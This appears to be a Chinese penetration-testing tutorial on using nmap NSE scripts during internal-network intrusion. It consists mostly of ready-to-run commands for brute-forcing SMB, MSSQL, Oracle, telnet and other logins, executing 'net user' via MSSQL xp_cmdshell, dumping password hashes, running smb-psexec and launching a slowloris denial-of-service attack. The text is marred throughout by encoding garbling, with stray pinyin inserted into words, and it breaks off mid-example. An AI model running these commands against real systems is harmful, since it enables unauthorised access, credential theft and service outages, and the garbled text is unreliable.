nmap的基本介紹和基本使用方法,在烏云知識庫中已經(jīng)有人提交過(guò),講的比較詳細,在此文中就不再講述。 具體鏈接:
http://drops.wooyun.org/tips/2002本文主要講解nmap的眾多腳本的使用,在內網(wǎng)滲透的時(shí)候尤其好用。
0x01 nmap按腳本分類(lèi)掃描
nmap腳本主要分為以下幾類(lèi),在掃描時(shí)可根據需要設置--script=類(lèi)別這種方式進(jìn)行比較籠統的掃描:
auth: 負責處理鑒權證書(shū)(繞開(kāi)鑒權)的腳本 broadcast: 在局域網(wǎng)內探查更多服務(wù)開(kāi)啟狀況,如dhcp/dns/sqlserver等服務(wù) brute: 提供暴力破解方式,針對常見(jiàn)的應用如http/snmp等 default: 使用-sC或-A選項掃描時(shí)候默認的腳本,提供基本腳本掃描能力 discovery: 對網(wǎng)絡(luò )進(jìn)行更多的信息,如SMB枚舉、SNMP查詢(xún)等 dos: 用于進(jìn)行拒絕服務(wù)攻擊 exploit: 利用已知的漏洞入侵系統 external: 利用第三方的數據庫或資源,例如進(jìn)行whois解析 fuzzer: 模糊測試的腳本,發(fā)送異常的包到目標機,探測出潛在漏洞 intrusive: 入侵性的腳本,此類(lèi)腳本可能引發(fā)對方的IDS/IPS的記錄或屏蔽 malware: 探測目標機是否感染了病毒、開(kāi)啟了后門(mén)等信息 safe: 此類(lèi)與intrusive相反,屬于安全性腳本 version: 負責增強服務(wù)與版本掃描(Version Detection)功能的腳本 vuln: 負責檢查目標機是否有常見(jiàn)的漏洞(Vulnerability),如是否有MS08_067
部分使用截圖:
(1) nmap --script=auth 192.168.137.*
負責處理鑒權證書(shū)(繞開(kāi)鑒權)的腳本,也可以作為檢測部分應用弱口令
(2)nmap --script=brute 192.168.137.*
提供暴力破解的方式 可對數據庫,smb,snmp等進(jìn)行簡(jiǎn)單密碼的暴力猜解
(3)nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
默認的腳本掃描,主要是搜集各種應用服務(wù)的信息,收集到后,可再針對具體服務(wù)進(jìn)行攻擊
(4)nmap --script=vuln 192.168.137.*
檢查是否存在常見(jiàn)漏洞
(5)nmap -n -p445 --script=broadcast 192.168.137.4
在局域網(wǎng)內探查更多服務(wù)開(kāi)啟狀況
(6)nmap --script external 202.103.243.110
利用第三方的數據庫或資源,例如進(jìn)行whois解析
0x02 nmap按應用服務(wù)掃描
(1)vnc掃描:
檢查vnc bypass
1
nmap --script=realvnc-auth-bypass 192.168.137.4
檢查vnc認證方式
1
nmap --script=vnc-auth 192.168.137.4
獲取vnc信息
1
nmap --script=vnc-info 192.168.137.4
(2)smb掃描:
smb破解
1
nmap --script=smb-brute.nse 192.168.137.4
smb字典破解
1
nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4
smb已知幾個(gè)嚴重漏
1
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.137.4
查看共享目錄
1
nmap -p 445 --script smb-ls --script-args ‘share=e$,path=\,smbuser=test,smbpass=test’ 192.168.137.4
查詢(xún)主機一些敏感信息(注:需要下載nmap_service)
1
nmap -p 445 -n –script=smb-psexec --script-args= smbuser=test,smbpass=test 192.168.137.4
查看會(huì )話(huà)
1
nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=test,smbpass=test 192.168.137.4
系統信息
1
nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test 192.168.137.4
(3)Mssql掃描:
猜解mssql用戶(hù)名和密碼
1
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4
xp_cmdshell 執行命令
1
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4
dumphash值
1
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa 192.168.137.4
(4)Mysql掃描:
掃描root空口令
1
nmap -p3306 --script=mysql-empty-password.nse 192.168.137.4
列出所有mysql用戶(hù)
1
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4
支持同一應用的所有腳本掃描
1
nmap --script=mysql-* 192.168.137.4
(5)Oracle掃描:
oracle sid掃描
1
nmap --script=oracle-sid-brute -p 1521-1560 192.168.137.5
oracle弱口令破解
1
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.137.5
(6)其他一些比較好用的腳本
nmap --script=broadcast-netbios-master-browser 192.168.137.4 發(fā)現網(wǎng)關(guān) nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4 破解rsync nmap --script informix-brute -p 9088 192.168.137.4 informix數據庫破解 nmap -p 5432 --script pgsql-brute 192.168.137.4 pgsql破解 nmap -sU --script snmp-brute 192.168.137.4 snmp破解 nmap -sV --script=telnet-brute 192.168.137.4 telnet破解 nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' <target> jboss autopwn nmap --script=http-methods.nse 192.168.137.4 檢查http方法 nmap --script http-slowloris --max-parallelism 400 192.168.137.4 dos攻擊,對于處理能力較小的站點(diǎn)還挺好用的 'half-HTTP' connections nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.137.4(7)不靠譜的腳本:
vnc-brute 次數多了會(huì )禁止連接
pcanywhere-brute 同上
0x03 學(xué)會(huì )腳本分析
nmap中腳本并不難看懂,所以在使用時(shí)如果不知道原理可以直接看利用腳本即可,也可以修改其中的某些參數方便自己使用。
舉例:
關(guān)于oracle的弱口令破解:
調用過(guò)程:oracle-brute.nse >> oracle-default-accounts.lst
首先是調用破解腳本:
根據腳本中字典的位置去查看默認字典,當然也可以將破解的字符自行添加其中,或者是修改腳本或參數改變破解字典: